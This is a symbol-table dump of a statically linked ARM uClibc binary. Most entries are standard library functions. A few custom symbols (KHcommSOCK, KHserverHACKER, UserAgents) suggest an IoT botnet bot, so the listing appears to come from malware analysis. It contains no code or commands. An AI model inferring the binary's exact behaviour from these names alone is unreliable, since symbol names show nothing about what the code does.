KHcommSOCK	.symtab	0x2e4b8	4	OBJECT	<unknown>	DEFAULT	14
KHserverHACKER	.symtab	0x2e240	4	OBJECT	<unknown>	DEFAULT	13
LOCAL_ADDR	.symtab	0x351a8	4	OBJECT	<unknown>	DEFAULT	14
Laligned	.symtab	0x15028	0	NOTYPE	<unknown>	DEFAULT	2
Llastword	.symtab	0x15044	0	NOTYPE	<unknown>	DEFAULT	2
Q	.symtab	0x2e4d4	16384	OBJECT	<unknown>	DEFAULT	14
Trim	.symtab	0x9af0	344	FUNC	<unknown>	DEFAULT	2
UserAgents	.symtab	0x2e1b0	144	OBJECT	<unknown>	DEFAULT	13
_Exit	.symtab	0x12b4c	104	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x2e010	0	OBJECT	<unknown>	HIDDEN	12
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_Unwind_Complete	.symtab	0x1ff30	4	FUNC	<unknown>	HIDDEN	2
_Unwind_DeleteException	.symtab	0x1ff34	44	FUNC	<unknown>	HIDDEN	2
_Unwind_ForcedUnwind	.symtab	0x20be4	36	FUNC	<unknown>	HIDDEN	2
_Unwind_GetCFA	.symtab	0x1ff28	8	FUNC	<unknown>	HIDDEN	2
_Unwind_GetDataRelBase	.symtab	0x1ff6c	12	FUNC	<unknown>	HIDDEN	2
_Unwind_GetLanguageSpecificData	.symtab	0x20c08	68	FUNC	<unknown>	HIDDEN	2
_Unwind_GetRegionStart	.symtab	0x213a8	52	FUNC	<unknown>	HIDDEN	2
_Unwind_GetTextRelBase	.symtab	0x1ff60	12	FUNC	<unknown>	HIDDEN	2
_Unwind_RaiseException	.symtab	0x20b78	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume	.symtab	0x20b9c	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume_or_Rethrow	.symtab	0x20bc0	36	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Get	.symtab	0x1fe90	76	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Pop	.symtab	0x204a8	324	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Set	.symtab	0x1fedc	76	FUNC	<unknown>	HIDDEN	2
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b	.symtab	0x2e254	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x2419c	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_tolower	.symtab	0x2e25c	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_tolower_data	.symtab	0x2449c	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_toupper	.symtab	0x2e264	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_toupper_data	.symtab	0x2479c	768	OBJECT	<unknown>	DEFAULT	4
__EH_FRAME_BEGIN__	.symtab	0x2e000	0	OBJECT	<unknown>	DEFAULT	7
__FRAME_END__	.symtab	0x2e000	0	OBJECT	<unknown>	DEFAULT	7
__GI___C_ctype_b	.symtab	0x2e254	4	OBJECT	<unknown>	HIDDEN	13
__GI___C_ctype_tolower	.symtab	0x2e25c	4	OBJECT	<unknown>	HIDDEN	13
__GI___C_ctype_toupper	.symtab	0x2e264	4	OBJECT	<unknown>	HIDDEN	13
__GI___close	.symtab	0x18ce0	100	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x18cc4	24	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x2e258	4	OBJECT	<unknown>	HIDDEN	13
__GI___ctype_tolower	.symtab	0x2e260	4	OBJECT	<unknown>	HIDDEN	13
__GI___ctype_toupper	.symtab	0x2e268	4	OBJECT	<unknown>	HIDDEN	13
__GI___errno_location	.symtab	0x13410	32	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x129c0	152	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x1b978	300	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x153f8	24	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x18ce0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x12a58	244	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x18d70	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x18e90	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x18e00	100	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x18d70	100	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x18d54	24	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x18e90	100	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x18e74	24	FUNC	<unknown>	HIDDEN	2
__GI___register_atfork	.symtab	0x188c8	392	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x15d28	36	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x15d4c	36	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x15d04	36	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x190a8	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x19178	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x18e00	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x18de4	24	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x15410	268	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x12b4c	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x17100	296	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x1784c	32	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x1cb54	88	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x18ce0	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x130bc	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x1a010	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x1a044	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x19ce8	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x15744	116	FUNC	<unknown>	HIDDEN	2
__GI_dup2	.symtab	0x12bf4	64	FUNC	<unknown>	HIDDEN	2
__GI_execl	.symtab	0x17b24	172	FUNC	<unknown>	HIDDEN	2
__GI_execve	.symtab	0x19760	64	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x17a60	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x1a1c0	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x12a58	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x1b5cc	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x1b1d8	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x1b978	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x14c50	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x14d6c	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x13464	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x18400	972	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x14e0c	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x1cd00	36	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x1cd24	448	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x197a0	100	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x14e44	188	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x1b978	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x12c34	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x19804	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x12c60	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x19818	20	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname	.symtab	0x15674	28	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname2	.symtab	0x15690	112	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname2_r	.symtab	0x1c4b0	724	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname_r	.symtab	0x1e79c	836	FUNC	<unknown>	HIDDEN	2
__GI_gethostname	.symtab	0x1eb20	132	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x1982c	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x18a50	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x12c88	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x157b8	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x19854	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x19894	20	FUNC	<unknown>	HIDDEN	2
__GI_htonl	.symtab	0x155fc	32	FUNC	<unknown>	HIDDEN	2
__GI_htons	.symtab	0x155ec	16	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x1564c	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1c3b8	248	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntop	.symtab	0x1d60c	668	FUNC	<unknown>	HIDDEN	2
__GI_inet_pton	.symtab	0x1d294	552	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x17668	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x12cc0	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x1554c	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x12da0	56	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x1ecfc	112	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x1bf40	240	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x14f20	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x14f30	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x1c030	36	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x1c054	224	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x14f40	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x195bc	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x198a8	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x198ec	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x1996c	96	FUNC	<unknown>	HIDDEN	2
__GI_ntohl	.symtab	0x1562c	32	FUNC	<unknown>	HIDDEN	2
__GI_ntohs	.symtab	0x1561c	16	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x18d70	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x1329c	196	FUNC	<unknown>	HIDDEN	2
__GI_pipe	.symtab	0x12dd8	64	FUNC	<unknown>	HIDDEN	2
__GI_poll	.symtab	0x1ebe4	116	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x18a98	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x17240	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x17500	144	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x1d114	176	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x18e90	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x19bfc	236	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x15888	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x15940	136	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x199cc	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x12ea0	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x15a0c	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x15ac8	136	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x15b50	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x17760	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x19664	136	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x15bdc	80	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x15c2c	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x15c40	196	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x12f24	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x18b88	300	FUNC	<unknown>	HIDDEN	2
__GI_snprintf	.symtab	0x13484	48	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x15b98	68	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x134b4	52	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x17590	216	FUNC	<unknown>	HIDDEN	2
__GI_stat	.symtab	0x1ec58	100	FUNC	<unknown>	HIDDEN	2
__GI_strcasecmp	.symtab	0x1f1e8	108	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x15060	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x1c134	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x14fe0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x14fe0	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x15150	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1c220	68	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x1ed6c	52	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x15000	96	FUNC	<unknown>	HIDDEN	2
__GI_strncpy	.symtab	0x15174	188	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x15230	204	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x1c378	64	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x1c264	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1c2b4	76	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x152fc	252	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x1551c	48	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x1c300	120	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x1786c	28	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x17d1c	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x15570	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x12fb0	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x19a38	20	FUNC	<unknown>	HIDDEN	2
__GI_tolower	.symtab	0x1305c	48	FUNC	<unknown>	HIDDEN	2
__GI_toupper	.symtab	0x1308c	48	FUNC	<unknown>	HIDDEN	2
__GI_uname	.symtab	0x1ecbc	64	FUNC	<unknown>	HIDDEN	2
__GI_vfork	.symtab	0x18390	112	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x134e8	208	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x19a4c	56	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x12fe0	124	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x1a08c	84	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x1a104	188	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x1a0e0	36	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x18e00	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x2e00c	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x2e00c	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x20be4	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x20b78	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x20b9c	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x20bc0	36	FUNC	<unknown>	HIDDEN	2
__adddf3	.symtab	0x1f450	784	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmpeq	.symtab	0x1fdac	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmple	.symtab	0x1fdac	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdrcmple	.symtab	0x1fd90	52	FUNC	<unknown>	HIDDEN	2
__aeabi_d2uiz	.symtab	0x1fe3c	84	FUNC	<unknown>	HIDDEN	2
__aeabi_dadd	.symtab	0x1f450	784	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpeq	.symtab	0x1fdc4	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpge	.symtab	0x1fe0c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpgt	.symtab	0x1fe24	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmple	.symtab	0x1fdf4	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmplt	.symtab	0x1fddc	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ddiv	.symtab	0x1faf0	524	FUNC	<unknown>	HIDDEN	2
__aeabi_dmul	.symtab	0x1f860	656	FUNC	<unknown>	HIDDEN	2
__aeabi_drsub	.symtab	0x1f444	0	FUNC	<unknown>	HIDDEN	2
__aeabi_dsub	.symtab	0x1f44c	788	FUNC	<unknown>	HIDDEN	2
__aeabi_f2d	.symtab	0x1f7ac	64	FUNC	<unknown>	HIDDEN	2
__aeabi_i2d	.symtab	0x1f784	40	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x1f300	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x1f42c	24	FUNC	<unknown>	HIDDEN	2
__aeabi_l2d	.symtab	0x1f800	96	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x19710	8	FUNC	<unknown>	DEFAULT	2
__aeabi_ui2d	.symtab	0x1f760	36	FUNC	<unknown>	HIDDEN	2
__aeabi_uidiv	.symtab	0x12898	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x12994	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ul2d	.symtab	0x1f7ec	116	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x20b44	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x20b3c	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x20b34	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x34c40	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x2e434	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x356c4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x2e460	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x2e460	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x19124	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x18ce0	100	FUNC	<unknown>	DEFAULT	2
__close_nameservers	.symtab	0x1e6b8	152	FUNC	<unknown>	HIDDEN	2
__close_nocancel	.symtab	0x18cc4	24	FUNC	<unknown>	DEFAULT	2
__cmpdf2	.symtab	0x1fd0c	132	FUNC	<unknown>	HIDDEN	2
__ctype_b	.symtab	0x2e258	4	OBJECT	<unknown>	DEFAULT	13
__ctype_tolower	.symtab	0x2e260	4	OBJECT	<unknown>	DEFAULT	13
__ctype_toupper	.symtab	0x2e268	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x35184	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x2e0c0	0	NOTYPE	<unknown>	DEFAULT	13
__decode_dotted	.symtab	0x1d8a8	248	FUNC	<unknown>	HIDDEN	2
__decode_header	.symtab	0x1ee8c	180	FUNC	<unknown>	HIDDEN	2
__default_rt_sa_restorer	.symtab	0x19704	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x196f8	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x129ac	20	FUNC	<unknown>	HIDDEN	2
__divdf3	.symtab	0x1faf0	524	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x1f300	300	FUNC	<unknown>	HIDDEN	2
__dns_lookup	.symtab	0x1d9a0	2064	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x812c	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x2e008	0	OBJECT	<unknown>	DEFAULT	10
__dso_handle	.symtab	0x2e0c0	0	OBJECT	<unknown>	HIDDEN	13
__encode_dotted	.symtab	0x1f254	172	FUNC	<unknown>	HIDDEN	2
__encode_header	.symtab	0x1eda0	236	FUNC	<unknown>	HIDDEN	2
__encode_question	.symtab	0x1ef40	96	FUNC	<unknown>	HIDDEN	2
__end__	.symtab	0x356c4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x34c38	4	OBJECT	<unknown>	DEFAULT	14
__eqdf2	.symtab	0x1fd0c	132	FUNC	<unknown>	HIDDEN	2
__errno_location	.symtab	0x13410	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__error	.symtab	0x183fc	0	NOTYPE	<unknown>	DEFAULT	2
__exidx_end	.symtab	0x259c4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x258a4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x346e8	4	OBJECT	<unknown>	HIDDEN	14
__extendsfdf2	.symtab	0x1f7ac	64	FUNC	<unknown>	HIDDEN	2
__fcntl_nocancel	.symtab	0x129c0	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x1b978	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x2e00c	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x2e008	0	NOTYPE	<unknown>	HIDDEN	10
__fixunsdfsi	.symtab	0x1fe3c	84	FUNC	<unknown>	HIDDEN	2
__floatdidf	.symtab	0x1f800	96	FUNC	<unknown>	HIDDEN	2
__floatsidf	.symtab	0x1f784	40	FUNC	<unknown>	HIDDEN	2
__floatundidf	.symtab	0x1f7ec	116	FUNC	<unknown>	HIDDEN	2
__floatunsidf	.symtab	0x1f760	36	FUNC	<unknown>	HIDDEN	2
__fork	.symtab	0x18400	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x3567c	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x35680	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x346ec	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x2e004	0	OBJECT	<unknown>	DEFAULT	9
__gedf2	.symtab	0x1fcfc	148	FUNC	<unknown>	HIDDEN	2
__get_hosts_byname_r	.symtab	0x1e750	76	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x1cbb8	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x1982c	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x18a50	72	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x153f8	24	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x202e8	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x203d0	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x20b68	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x20364	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x20488	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x20b70	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x20c4c	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x21360	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x205ec	1352	FUNC	<unknown>	DEFAULT	2
__gtdf2	.symtab	0x1fcfc	148	FUNC	<unknown>	HIDDEN	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x2e008	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x2e004	0	NOTYPE	<unknown>	HIDDEN	9
__ledf2	.symtab	0x1fd04	140	FUNC	<unknown>	HIDDEN	2
__libc_close	.symtab	0x18ce0	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x15744	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x18f00	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x18f88	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x12a58	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x18400	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x35684	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x1996c	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x18d70	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x18e90	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x15888	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x15940	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x12ea0	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x15a0c	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x15ac8	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1c888	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x19664	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x34c34	4	OBJECT	<unknown>	DEFAULT	14
__libc_waitpid	.symtab	0x12fe0	124	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x18e00	100	FUNC	<unknown>	DEFAULT	2
__linkin_atfork	.symtab	0x18864	100	FUNC	<unknown>	HIDDEN	2
__lll_lock_wait_private	.symtab	0x187cc	152	FUNC	<unknown>	HIDDEN	2
__local_nameserver	.symtab	0x2586c	16	OBJECT	<unknown>	HIDDEN	4
__ltdf2	.symtab	0x1fd04	140	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x16cd0	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x15d70	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x2e358	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x35304	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x16c20	176	FUNC	<unknown>	DEFAULT	2
__muldf3	.symtab	0x1f860	656	FUNC	<unknown>	HIDDEN	2
__nameserver	.symtab	0x356b8	4	OBJECT	<unknown>	HIDDEN	14
__nameservers	.symtab	0x356bc	4	OBJECT	<unknown>	HIDDEN	14
__nedf2	.symtab	0x1fd0c	132	FUNC	<unknown>	HIDDEN	2
